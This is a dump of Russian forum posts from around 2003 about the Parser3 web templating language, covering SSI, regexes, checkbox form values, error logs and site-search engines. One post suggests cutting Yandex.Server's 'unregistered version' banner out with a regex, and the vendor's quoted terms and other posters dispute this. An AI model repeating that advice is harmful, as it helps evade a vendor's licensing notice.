Если линейку отображать секциями, то можно указать дополнительно ширину секции, если не задана, то ширина = высоте.\
\
Если в виде линии, то указывается общая ширина линейки.\
\
Высота в обоих случаях берется из $image.height"
"23917","только ведь вы цикл по 1024x768 запустите, а для этого parser не очень приспособлен.\
\
возможно, расскажете задачу, вместе подумаем?"
"23918","и mnogosearch"
"23919","Эх, хорошо когда сервер в твоём распоряжении, а когда нет ... Есть идеи, как заставить работать на хостинге индексатор mnogosearch при том что он не стоит у провайдера? Ведь насколько я понял его без рутовых прав не настроить нормально?"
"23920","root права не нужны совсем. обычная программа."
"23921","Тут у меня вопрос возник. Насколько актуально (с технической точки зрения) писать рейтинг сайтов (со счётчиком и т.д.) на парсере? Каково это будет для сервера? Я имею в виду быстродействие. Выдержат ли сервер и парсер такое дело?"
"23922","Пролетало сетование на трудность объединения Парсера с SSI, так вот мне приперло их поженить и получилось следующим образом:\
\
- Сделал HTML с парсерным кодом\
- Сделал .shtml, в который включил вышесозданный HTML (include),\
- Был вставлен о б р а б о т а н н ы й парсером код, что мне и требовалось.\
\
- Остался вопрос, что будет лежать в переменных окружения (для парсера и для ssi), но в рамках моей задачи это было не важно,так что передаю эстафету.\
\
(задача: был файл .shtml, убивать/переименовывать который было нельзя, но требовалось вставить парсерную менюшку, как во всех файлах сайта)"
"23923","Естественно пускать её можно через cron? В смысле для периодической индексации"
"23924","Видимо недостаток времени сказывается, но как правило этот недостаток выходит боком, и времени в итоге, времени нужно будет больше, нежели чем при написании всего на парсере. Правда видимый результат появится быстрее, но это мнимое чувство."
"23925","в том, чтобы использовать shtml - файл, НЕ ПЕРЕИМЕНОВЫВАЯ, но внести элементы дизайна, сделанные на парсере. Я не вижу другого решения. Во всех остальных случаях, естественно, лучше все писать парсером."
"23926","Её скорее можно назвать временной затычкой, которую всё-равно придётся выкинуть."
"23927","Неужели сложно переадресовать _все_ .shtml в .html, так, чтоб снаружи было незаметно?"
"23929","Но, как в том анекдоте, \"Какова Идея\"!\
\
-- то есть, я проблем не вижу. Можно и поюзать. Вы ведь не считаете \"затычкой\" включение через SSI вывода программы на Перле? А ведь, в принципе, можно обойтись одним Перлом, и весь html сформировать им? \
Найди различие 8))"
"23933","+ морфология [mnogosearch умеет куда меньше]\
+ недавно они сняли 10M ограничение на размер индексации"
"23934","Добрый вечер.\
Что-то я торможу, но у меня try не работает:\
[code]\
$test[test]\
^try{\
   ^test.int[]\
}{\
   oops\
}\
[/code]\
Вместо \"oops\" вываливается unhandled_exception. Может я чего-то незнаю, может мне где-то почитать, поискать? :)"
"23936","Сам счетчик правильнее писать модулем к apache - и даже при этом не забывать о скорости. А окружающие его интерфейсы - для регистрации, просмотра статистики, etc - тут парсер вполне уместен."
"23937","http://www.parser.ru/forum/?id=7769"
"23939","Модулем к апачу? На С ? А если топ с количесвтом участников до 1000, то хватит ли на обработку показов парсера?"
"23940","нужен файл настройки UltraEdit для подсветки синтаксиса Parser3, а то замучился работать в Блокноте (в глазах ребит от черного текста). Скиньте на мыло pavel@enavigator.ru \
\
Заранее спасибо."
"23942","Можно ли сделать так, чтобы часть странички, содержащей код обрабатывалось парсером, а другая часть не обрабатывалась?"
"23944","Парсер (3.08) великолепно справлялся с 60 000 посещений в день. Правда это была не \"жизнь\", а тестовый вариант. Но, поскольку 3.11 Парсер работает побыстрее - думаю справится. Все зависит от оптимальности кода."
"23945","Подскажите, а можно-ли в рамках Parser'a генерировать случайное число. Если нет, то как это вообще сделать? Это нужно для вывода произвольной строки из базы данных - постоянно обновляющаяся страница.\
\
И еще, мне не приходят сообщения из форума на мыло. Может что не так?"
"23946","http://www.parser.ru/docs/lang/mathrandom.htm"
"23947","с заголовком \"незарегистрированная версия\", кроме того, разве не только под Винды?"
"23948","ОПЕРА помечает как спам, может быть, не она одна? Вопрос к вебмастеру..."
"23949","На Парсере писать, как минимум, просто. Почему бы не создать проект на нем сначала а потом посмотреть, что будет, и по результатам либо оставиь парсер либо сменить на что-нибудь? Все равно на полную загрузку ваш проект выйдет.. ну не в первый месяц, точно. Кроме того, Парсер реально держит большие сайты, так что вероятность смены технологии в первый год жизни проекта -- минимальная."
"23950","Строка \"назарегистрированная версия\" отсекается элементарным регулярным выражением [оформляется в коде в виде коментария или офромляется каким-нибудь мелким шрифтом - чтобы не мешало... и все].\
\
Яндексовский движок \"по-жизни\" многоплатформенный, поэтому есть версии под FreeBSD, Linux и Windows."
"23951","Так далеко я еще не дочитал. Спасибо"
"23952","Просто в скрипте куча SQL-запросов - хотелось бы, чтобы после каждого в браузере писалось \"То-то: сделано\". А получается, что сначала 5 минут ждём, а потом получаем готовый список... А хотелось бы как-то в процессе. (Это для админской страницы... там 10-метровые таблицы колбасятся)"
"23953","Добрый день! Я поставил парсер 3 (version 73) на linux 9.0. Все работает, нет ошибок, но страница грузится 15 секунд, а сервер очень быстрый. Вообще можно делать так или надо ждать парсера v-9.0?"
"23954","Скорее всего, проблема в чём-то другом --- может быть, вам не было выделено достаточное количество процессорного времени. \
\
З.Ы. Где вы нашли Linux 9.0? ;-)"
"23955","А если, например, такой прозрачный пиксел?\
<img border=0 width=1 height=1>\
нет сорса - нет соединения. И компактнее вашей конструкции"
"23956","1024х768 запускать не буду. Понятно, что для таких объемов «на лету» внешняя программа лучше подойдет. Хотя... речь идет не о скорости, а об автоматизации рутинных процессов, которые раз в месяц исполняются, генерят картинки, а потом валяются мирно в виде готовых гифов."
"23957","У тэга img параметр alt и src являются обязательными."
"23960","ставите обычную ссылку сбоку, с логотипом.\
никто не в обиде."
"23961","в полном смысле слова\
  ключевое слово \"nph\" \
страницу на parser сейчас сделать нельзя.\
[если взять CVS|HEAD версию, можно]\
\
поэтому самый простой и разумный подход: \
внешние redirect'ы.\
делаете первый шаг, \
выдаёте страницу+refresh через 1 секунду на /page.html?step=2\
то же самое, на /page.html?step=3\
..."
"23962","забавные вы версии пишете. что parser что linux"
"23963","мне сделать совсем не трудно, просто интересно."
"23964","положите текст в файл static.txt \
и сделайте ^include[static.txt] в нужном месте.\
см. http://www.parser.ru/examples/"
"23965","http://guest.yandex.ru/company/program.xhtml?message_id=628966#m628966\
\
Хотя есть подозрение, что если оставить копирайты и не доставать службу тех. поддерхки, то никаких проблем не будет..."
"23966","то, что в лицензии нечто не указано в графе «можно», вовсе не значит «нельзя», как он думает и предлагает думать окружающим.\
\
что до copyright, то его удалять нельзя по закону.\
\
моё мнение: хороший продукт, хорошие условия."
"23967","но вот ценник на него космический - нормально работать можно только с версией Enterprise, которая может и выдавать результаты поиска в XML и хранить индекс в БД и индексировать разные типы документов, но её цена ... Яndex.Server Enterprise 	$15900, выше всяких похвал.\
\
Так что подавляющему большинству Яндекс просто недоступен. А тем кому хватит версии Standart по большому счёту поиск то не нужен, потому как страниц у них на сайте, кот наплакал.\
\
Понятно что гугль ещё дороже, и тут уже проблема перемещается в другую плоскость, а именно существующей системы оплаты труда и лицензирования, которые выгодны только крупным компаниям, но никак не рядовым потребителям."
"23968","я отключаю кеширование броузером всего на свете (при разработке, не дома).\
\
и количество конектов на странице == количеству картинок. могу показать :)"
"23969","Скорее всего в настройке апача.\
\
9 - это  не версия Линукса, а версия дистрибутива(что-то мне подсказывает, что это ASP) :)"
"23971","Если способ не прибегая к получению списка содержимого папки и копирования поэлементно скопировать папку целиком?"
"23973","не загружает файл с сервера, если указан ip\
\
$stat_file[^file::load[text;http://xxx.xx.xx.xx/mrtg/xxx.xx.xx.xx_103.log]]\
\
выдает, ошибку\
can not resolve hostname \"xxx.xx.xx.xx\"\
\
это будет исправлено?\
 \
Выход: через файл hosts"
"23974","Коль скоро мы все здесь люди не в меру ленивые (в хорошем смысле, потому что в меру ленивые не облегчают себе работу), а жизнь просит вносить хоть небольшие, но коррективы время от времени, в том числе и косметического характера.\
\
Есть некий объект, рисующийся парсером по алгоритмам кодера, допустим прямоугольник или квадрат, служащий фоном для большого количества однотипных картинок. Есть изображения (готовые или тоже отрисовываемые парсером), которые нужно поверх этого объекта разместить. Например: tiled-иконки, клавиши компьютера, другие интерфейсы. Допустим что на один «фон» приходится десятки налагаемых поверх него элементов, которые а разных комбинациях образуют сотни вариантов.\
\
Проблема в том, что когда меняется фон (размер, алгоритм построения или цвет чуть-чуть), трубуется вручную изменять большое количество дочерних элементов, потому что прежние визуально уже не стыкуются с фоном. Нужна коррекция цвета, которая может быть один раз описана алгоритмом. Если знаешь точку фона, то можно скорректировать цвет наносимой.\
\
Это довольно узкая задача, но другие разработчики обязательно придумают кучу применений, где такую возможность можно использовать. Повторюсь: речь о скорости не идет, скорее об автоматизации."
"23975","Есть проблема. Необходимо генерить \"плоские\" HTML-страницы в том виде, как они отображаются браузером, и с сохранением структуры каталогов.\
\
Наверняка кто-то уже сталкивался."
"23976","Маковый эксплорер может и показать, что картинки нет. Safari тоже может. Вопрос лишь в размерах. Для 1х1 - наверняка не покажет, а если нужна растяжка 20х20 - покажет."
"23977","shell'овый cp -R еще никто не отменял."
"23978","Согласен. Остается узкая область применения от 1хN до 2хN (где N - любое число). Потом исхитряемся еще больше и указываем vspace и hspace и получаем прямоугольник любого размера. Все равно глупее, проще и компактнее :-)"
"23982","Незарегистрированная версия Яndex.Server Standard показывает заголовок Незарегистрированная копия на страницах с результатами поиска.\
\
---Меня не устраивает только это. А регистрация 390 уев 8)"
"23983","Собрать на Парсере \"сайтописалку\", зря он что-ли умеет файлы создавать?"
"23986","Сейчас пишу на Парсере (чтобы компенсировать оффтопиковость вопроса, готов потом поделиться кодом) систему посылки открыток с сайта (ну все знают).\
\
Так вот, встал неожиданный вопрос: \
Что лучше - формировать HTML и отсылать всю красоту в письме ИЛИ пересылать в письме ссылку на страничку с открыткой (соответственно, \"красота\" хранится на сервере некоторое время)? В инете представлены оба варианта, но может, есть умные соображения по поводу того, какой из них удобнее/функциональнее/и т. д.?"
"23988","На Парсере пишется генератор HTML-ей. Все 8)\
\
Пишете сайт, например все тексты -- в SQL или XML (мне второе очень нравится), с простейшей CMS (ну просто, чтобы можно было добавить текст и указать раздел) на Парсере пишется страничка, которая не просто показывает HTML в браузере, а пишет его на диск. Подробнее будет уже код 8)\
\
Я писал такую штучку, только она генерирует XML, для последующего динамического доставания. Но кто мешает сделать то же для HTML?"
"23989","Это не вопрос «зубрости». Вопрос здравого смысла. А если получатель не хочет смотреть эту открытку, зачем заставлять его платить за трафик с красотами? Был период, когда открытки спамерами рассылались всем подряд. С тех пор многие просто стирают не глядя."
"23991","После добавления одной странички на сайт, нужно обновить все меню, в которых должны появиться ссылки на эту страничку, ну там, архивы и т.д.\
\
То есть, фактически, \"генерилка\" должна сгенерить весь сайт заново."
"23992","Она должна генерить ИМЕННО весь сайт в статике.\
На Парсере, по ощущению, это сделать совсем не сложно."
"23993","Тогда сколько ее хранит на сервере? Понятное дело, оно все будет генериться, то есть на хранение одной открытки уйдет менее 1 кб, но все же... Обычно же две недели, да?\
\
Хотя, скажите мне, что мешает ему и ссылку удалить? Все же почта пойдет от имени его друга..."
"23994","http://www.redhat.com/"
"23995","Ему ничего не мешает и не должно мешать удалить все, что он захочет. А вот от имени друга посылать почту не надо — это обман. Можно сослаться на друга в письме, упомянуть имя друга в теме, но не от его имени.\
\
А хранить на сервере... Задайте фиксированный объем дискового пространства, который вы готовы пустить под это дело, а потом сделайте так, чтобы новые открытки стирали старые. Через какое-то время вычислите статистику. Как вы думаете, кто-то сильно расстроится, если через две недели не увидит своей открытки?"
"23998","На (http://guest.yandex.ru/company/program.xhtml?message_id=628966) явно написанно:\
[quote]Леонид Бровкин [18.11.03 13:58]\
Re: Что можно и что нельзя делать с ShareWare версией Яндекс.Server?\
\
[b]В ShareWare версии Яндекс.Server изменять дизайн страницы результатов поиска нельзя.[/b]\
\
Базовая конструкция, которая работает в отношении\
предоставления и защиты авторских прав, заключается в следующем: все, что явно не разрешено правообладателем - запрещено. В данном случае, изменение дизайна (действие, предусматривающее элемент творчества, в результате которого создается новое произведение) результатов поиска лицензией не предусматривается и, следовательно, запрещено.\
 \
\
[/quote]"
"23999","Простите, я никогда не пользовал shell, поэтому вопрос: у каждой платформы по идее свой набор комманд? Или shell этот у сервера, и уж он-то на всех серверах одинаковый. Я правильно догадываюсь?"
"24000","При формировании куска кода путем сложных вычислений получается полезный результат и много-много табов и переносов. В моем частном случае полезной информации пара сотен байт, вместе с whitespace — килобайт сорок. Приходится использовать такое:\
^cache[/.../kusok.cache]{$bla{\
...\
код\
...\
}\
^bla.match[(\\n)|(\\t)|(\\r)][g]{}\
}\
\
Может я что-то неправильно делаю?"
"24001","Значит делаю я так как написано в уроке №2.\
В auto.p пишу:\
\
@main[] \
^header[] \
^body[] \
^footer[]\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font>\
</body>\
</html>\
@header[] \
<html> \
<head> \
<title>Parser3 test site</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"middle\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table>\
<br>\
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>^body_additional[]</b> \
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ^body_main[] \
      </td> \
   </tr> \
</table> \
<br>\
\
в index.html пишу:\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\
</head>\
\
<body>\
^navigation[]\
@greeting[]\
Welcome!\
@body_additional[] \
Home page\
@body_main[] \
Main content\
Welcome!\
</body>\
</html>\
\
вызываю index.html и пишет вот такую ошибку:\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@rusleague.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Что я неправильно делаю???"
"24002","... ОС, имеющую файловую систему и без команды копирования файлов?"
"24004","представьте, вы хотите скешировать текст, который идет в ^table::create{} и в котором есть пустые ячейки (пара \\t подряд). что будет, если кеш будет заниматься оптимизацией?\
\
мне кажется в вашем случае стоит таки пересмотреть механизм формироваия этого текста. возможно стОит что-то вынести в отдельные методы и результат отдавать в $result[]\
\
ну или использовать ваш вариант (можете написать себе удобный оператор для этого), только вот не надо использовать в шаблоне конструкцию (\\n)|(\\t)|(\\r) - это ОЧЕНЬ плохая конструкция, лучше напишите: ^что-то.match[(\\s){2,}][g]{$match.1} если хотите оптимизировать witespace или ^что-то.match[\\s+][g]{} если вы хотите похоронить все пробельные символы (у вас сейчас написан аналог этого)."
"24005","Скажем эквивалент этой строки\
\
<input checked=\"true\" name=\"log\" type=\"checkbox\">"
"24006","есть какие-нибудь варианты кроме сменя пароля?"
"24007","еще преимущество 2 метода - фиксация времени просмтора открытки :)"
"24009","в п2 есть пример вытягивания article из news.cfg как это будет в п3?\
\
я не могу понять, помогите"
"24010","Как правильно сделать:\
$flats[^table::sql{select\
       id, date, time, rooms, full_info\
   from\
      flats\
   where\
      условие1\
      условие2 и т.д.\
\
Отказывается понимать второе условие. Может скобки какие хитрые надо?"
"24011","Это MS Outlook express 6. И все фильтры выключены. Просто ничего не приходит."
"24012","попробуйте передать это значение GET-ом и ответ для вас станет очевидным.\
В вашем случае вызов будет $form:log значение true"
"24014","вы на какой OS имеете проблему?\
если в консоли сказать \
[code]\
ping xx.xx.xx.xx \
[/code]\
что будет?"
"24015","возможно, кто сделает раньше меня? \
в библиотеке функция есть, оставлось только обёртку из 5 строк приделать."
"24016","в лицензии никаких запретов на последующее изменение внешнего вида нет.\
\
так называемую «базовую конструкцию» Леонид, очевидно, сам придумал. в лицензии запрет не указан = запрета нет.\
\
не убирайте copyright yandex, оставьте ссылку, и будет полный порядок.\
что до того, как изменить дизайн, не делая того, что в лицензии явно запрещено, не мне вас учить."
"24018","можно немного подправить драйвер, чтобы так тоже понимал.\
сильно ли необходимо?"
"24019","Подскажите как указать путь к корню сервера, где в папке cgi-bin находится файл parser.cgi\
А то при указании Action parsed-html /cgi-bin/parser3.cgi сервер ищет его в папке данного виртуального хоста (/var/www/domain/domain.ru/www/cgi-bin/parser3.cgi) и соответственно не находит.\
\
У меня сервер на rusonyx.ru\
\
Спасибо!"
"24020","вы ведь не садитесь в двигающуюся машину, не подготовившись заранее к тому, что надо будет что-то нажимать и что-то крутить, нет?\
\
почему же здесь занимаетесь подобным?"
"24021","самый простой и правильный:\
1. положить его в /var/www/domain/domain.ru/www/cgi-bin\
вы не пишете, что мешает поступить просто и правильно.\
\
2. если вам зачем-то понадобился отдельный каталог, назовите его иначе. 'cgi' например. только будьте готовы, что скрипты, положенные в этот каталог, выполняться не будут. вы вполне можете получить в ответ на http://server/yourdir/someting.cgi байты этого файла, а не результат его выполнения."
"24022","1. самый простой неудобен тем, что для каждого домена надо закачивать каждый раз этот файл. Лучше пусть будет один, правильно?\
2. а тут я чего-то не понял. Но отдельного каталога мне не надо"
"24023","удобен тем, что вы правите основной конфиг под каждый сайт.\
мы обычно держим в основном конфиге строки соединения с sql сервером и прочие настройки, зависящие от площадки, на которой работает сервер.\
\
так настройки отделяются от собственно сайта, который легко скопировать с места на место.\
\
нежелание списывать файл пару раз понятно не до конца.\
консультат меня спросил: «вы операцию хотите сделать, чтобы вас не беспокоило то, что в метро очки запотевают?»"
"24024","Пошел по \"простому\" варианту\
Появляется 500-я ошибка. В логе читаем:\
Premature end of script headers: /var/www/domain/domain.ru/www/cgi-bin/parser3.cgi\
А это что за штука?"
"24026","Ничего в FAQ по своей ошибке я не нашел =(\
Вот последние логи:\
[Tue Dec  9 08:22:41 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 08:49:11 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:31:52 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:35:07 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:35:15 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:46:42 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:48:12 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:49:18 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:50:04 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:50:10 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:51:41 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:52:52 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:54:16 2003] /: /home/rusleag3/public_html/index.html(1:8): parse error, expecting `'\\n'' [parser.compile]\
[Tue Dec  9 10:55:11 2003] /: /home/rusleag3/public_html/index.html(8:7): parse error, expecting `$' [parser.compile]\
[Tue Dec  9 10:59:30 2003] /: /home/rusleag3/public_html/index.html(9:14): parse error, expecting `$' [parser.compile]\
\
Скажите что нужно прописать в auto.p чтобы можно было посмотреть где ошибка, т.е. в какой строке, чтобы потом её отладить?"
"24027","Смотрите FAQ. Это в самом первом абзаце."
"24028","то, что вы видите в журнале ошибок дла начала должно бы хватить:\
вот вам указана строчка и колонка и файл:\
\
[code]\
[Tue Dec 9 10:59:30 2003] /: /home/rusleag3/public_html/index.html(9:14): parse error, expecting `$' [parser.compile]\
[/code]\
\
посмотрите на это место? если сами не разберётесь, приведите кусочек кода с пометкой, где там девятая строка?"
"24029","^ля-ля.match[(\\n)|(\\t)|(\\r)][g]{} — конструкция, которая это делает. А чем плоха? Ресурсоемкостью?"
"24030","Пока не будет value, будет - \"log=\" если checked и не будет ничего, если не checked"
"24031","Закачано точно в bibinary\
\
Насчет сервера. \
\
У меня стоит ASPLinux 7.1 Server Edition p11 \
\
Я брал  parser3_1_1_redhat73_cgi_xml.tar.gz CGI скрипт с поддержкой XML \
\
Правильно взял?"
"24033","?\
\
вы экономите 40K?\
у вас посещаемость зашкаливает, и это вызывает проблемы?\
\
если да, то советую поставить squid или mod_accel.\
освободившиеся силы можно направить на собственно решение задач."
"24034","всю статью, а не одну строчку?"
"24035","Я обязательно посоветую это сделать хостеру. А пока из того, что есть, приходится извлекать максимум. И если отсутствие табов, пробелов и переводов строки не мешает, а помогает, то почему этого не делать?"
"24036","Вы бы упомянули об этом где-нибудь, Александр, а то на эти грабли еще будут наступать и наступать."
"24037","Парсер формирует XML, который затем преобразуется, с помощью XSLT шаблонов, в HTML. Как правило, все ненужные переводы строк и табуляторы убиваются и код получается в одну строчку, разумеется если там нет элементов <pre> с преформатированным текстом."
"24038","Но на вооружении останется, спасибо."
"24039","в вашем случае (\\n)|(\\t)|(\\r) == \\s"
"24041","Собственный идиотизм признаю. В документации есть, но глаз почему-то не зацепился."
"24042","http://www.spearance.ru/parser3/input.html\
\
только вместо true возвращает on если нажат и ничего если не нажат.\
\
так что правильней будет писать\
<input type=\"checkbox\" name=\"log\" checked=\"on\" />"
"24043","Правильней писать:\
[code]\
<input type=\"checkbox\" name=\"log\" checked=\"checked\" />\
[/code]\
А нет так как вы сказали. Вот кусок DTD HTML 4.01 для элемента <input>:\
[code]\
<!ENTITY % InputType\
  \"(TEXT | PASSWORD | CHECKBOX |\
    RADIO | SUBMIT | RESET |\
    FILE | HIDDEN | IMAGE | BUTTON)\"\
   >\
\
<!-- attribute name required for all but submit and reset -->\
<!ELEMENT INPUT - O EMPTY              -- form control -->\
<!ATTLIST INPUT\
  %attrs;                              -- %coreattrs, %i18n, %events --\
  type        %InputType;    TEXT      -- what kind of widget is needed --\
  name        CDATA          #IMPLIED  -- submit as part of form --\
  value       CDATA          #IMPLIED  -- Specify for radio buttons and checkboxes --\
  checked     (checked)      #IMPLIED  -- for radio buttons and check boxes --\
  disabled    (disabled)     #IMPLIED  -- unavailable in this context --\
  readonly    (readonly)     #IMPLIED  -- for text and passwd --\
  size        CDATA          #IMPLIED  -- specific to each type of field --\
  maxlength   NUMBER         #IMPLIED  -- max chars for text fields --\
  src         %URI;          #IMPLIED  -- for fields with images --\
  alt         CDATA          #IMPLIED  -- short description --\
  usemap      %URI;          #IMPLIED  -- use client-side image map --\
  ismap       (ismap)        #IMPLIED  -- use server-side image map --\
  tabindex    NUMBER         #IMPLIED  -- position in tabbing order --\
  accesskey   %Character;    #IMPLIED  -- accessibility key character --\
  onfocus     %Script;       #IMPLIED  -- the element got the focus --\
  onblur      %Script;       #IMPLIED  -- the element lost the focus --\
  onselect    %Script;       #IMPLIED  -- some text was selected --\
  onchange    %Script;       #IMPLIED  -- the element value was changed --\
  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --\
  >\
[/code]\
Когда спецификацию будем читать?\
\
Вот ещё http://www.w3.org/TR/xhtml1/#h-4.5"
"24044","Написал  это для обратного отсчёта врмени до к-л даты. Криво, но работает. Приветствуется критика. \
[code]\
@countdown[c_year;c_month;c_day]\
\
$now[^date::now[]]\
 \
\
$todate[^date::create($c_year;$c_month;$c_day)]\
$left[^date::create($todate - $now)]\
\
$left_hours(23 - $now.hour)\
$left_minutes(59 - $now.minute)\
$left_seconds(59 - $now.second)\
\
$result[$left.yearday   days , $left_hours hours , $left_minutes minutes, $left_seconds seconds]\
\
\
\
[/code]"
"24046","Проверяем: (Mac OS X 10.3.1, B:7C107)\
Safari 1.1.1 (v100.1): log=on\
MS IE 5.2.3 (5815.1): log=on\
\
Остальные браузеры лень запускать. Впрочем и этого достаточно, чтобы перестать надеяться на авось и начать следовать спецификации, тем более, что\
[quote][b]value = cdata [CA][/b]\
This attribute specifies the initial value of the control. It is optional [b]except when the type attribute has the value \"radio\" or \"checkbox\"[/b].[/quote]\
http://www.w3.org/TR/html4/interact/forms.html#h-17.4"
"24047","Уточнение: не все пробелы нужно удалять, а только те, что между тегами попадаются > <.\
\\s удаляет все, делая из кода следующее: <bodybgcolor=ffffftext=00000...>\
Так что пока старая конструкция рулит."
"24049","перечитайте внимательнее его пост: http://www.parser.ru/forum/?id=24004, там есть требуемый солюшн."
"24051","Из помощи \"Использование Parser в качестве интерпретатора скриптов\" \
запускаю Parser3.exe _test.html, а на выходе только\
Unhandled Exception\
change_case_UTF8 error: end pointers do not match\
upper\
F:/parser/_test.html(262)\
Что не так?\
Или этот тест запускают только через сервер?"
"24052","если надо удалять все кроме пробелов то вместо вашей конструкции напишите:\
^что-то.match[[\\n\\t\\r]][g]{}\
\
но НЕ вашу старую конструкцию. запомните ей и не пишите так никогда. если лень читать почему это так: просто поверьте на слово."
"24053","А разница? Подозреваю, что ваш вариант делает все за один проход, а мой за три?"
"24055","фантазии не хватает... Мне какая разница, когда ее просмотрели?"
"24056","синтаксис комманд у разных ОС разный, shell это примерно MSDOS prompt :) Не убивайте только за столь унижающее стравнение, сейчас напишу, что под *nix  из коммандной строки можно просматривать работающие процессы, убивать их, запускать новые и многое другое. \
\
Но для задачи копирования файлов это не так важно."
"24059","только теперь таблицу из news.cfg мы грузим не в \"контекст\", а в \"переменную\", создавая в ней [i]объект класса \"table\"[/i]:\
[code]\
# раньше было так:\
^context[news;\
	^load[named;news.cfg]\
	^menu[\
		<p><b>^item[date]:</b> ^item[desc]<br><a href=issue.html?number=^item[number]>Подробнее</a></p>\
	]\
\
# а теперь так:\
$news[^table::load[news.cfg]]\
^news.menu{\
	<p><b>$news.date:</b> $news.desc<br><a href=issue.html?number=$news.number>Подробнее</a></p>\
	}\
[/code]"
"24060","То что на Mac OS X ничего не возвращает - к сожалению не было возможности проверить. В остальных браузерах и платформах checked при нажатой позиции возвращает on - это факт.\
Это конечно не true, но для проверки тоже сгодится.\
\
Теперь к спецификации (надо тоже типа умной фразой пульнуть):\
[quote]Действующий элемент управления(ЭУ) - это ЭУ, \"годный\" для отправки. Каждый действующий ЭУ имеет пару: имя ЭУ и текущее значение как часть отправляемого с формой набора данных формы.[/quote]\
читаем дальше:\
[quote]Недоступные  ЭУ - те, которые не могут быть \"действующими\".\
Все \"on\" переключатели могут быть действующими.[/quote]\
и под финал:\
[quote]Переключатели (и radio-кнопки) это переключатели типа вкл./выкл., управляемые пользователем. Переключатель \"включён\", если установлен атрибут checked ЭУ. Если форма отправлена, только переключатель \"включён\" может быть \"действующим\".[/quote]\
\
Так что понимать спецификацию можно по-разному..."
"24061","Либо проверять ввод. Зачем коду зря разбухать?\
Еще проще - если уж юзер вводит - дать ему формочку с выпадающими меню, и потом автоматически проверять только корректность даты (не 30 февраля)"
"24062","Я бы не полагался на это \"может быть\", тем более, что при этом мы:\
\
1. Теряем функциональность:\
value не обязательно == 1\
пример:\
[code]<form>\
...\
Я знаю следующие языки:\
<input type=\"checkbox\" name=\"lang\" value=\"parser\" /> Parser\
<input type=\"checkbox\" name=\"lang\" value=\"php\" /> PHP\
<input type=\"checkbox\" name=\"lang\" value=\"perl\" /> Perl\
..\
</form>[/code]\
\
2. Теряем булевое значение:\
в случае, если value == 1\
[code]<input type=\"checkbox\" name=\"switch\" value=\"1\" />\
\
^if(^form.switch.int(0)){...}\
$smth_switched($smth * ^form.switch.int(0))\
и т.д.[/code]\
\
Можно и других примеров привести, когда \"лишние\" 9+ байт совсем не мешают, а даже наоборот."
"24063","А что мне мешает передать GET'ом\
/path/?year=сейчас&month=все&day=упадет&bwa-ha-ha"
"24064","но для банального true/false, вкл./выкл., on/off можно и не писать.\
[code]\
...\
<input type=\"checkbox\" name=\"email\"> подписаться на рассылку\
...\
^if(def $form:email){\
вот твоя рассылка\
}{\
не хочешь, не дам\
}\
[/code]"
"24065","то получит то, что хотел: НИФИГА.\
Это - не нажимать кнопку Enter, а биться головой о монитор. тем более, что реально ничего не рухнет, ак просто будет ошибка, которую товарищ, запускающий подобные параметры и хотел. \
С тем же успехом можно зхапросить несуществующую страницу :)"
"24066","край"
"24067","лишних пара строкек кода никому не вредили сильно..."
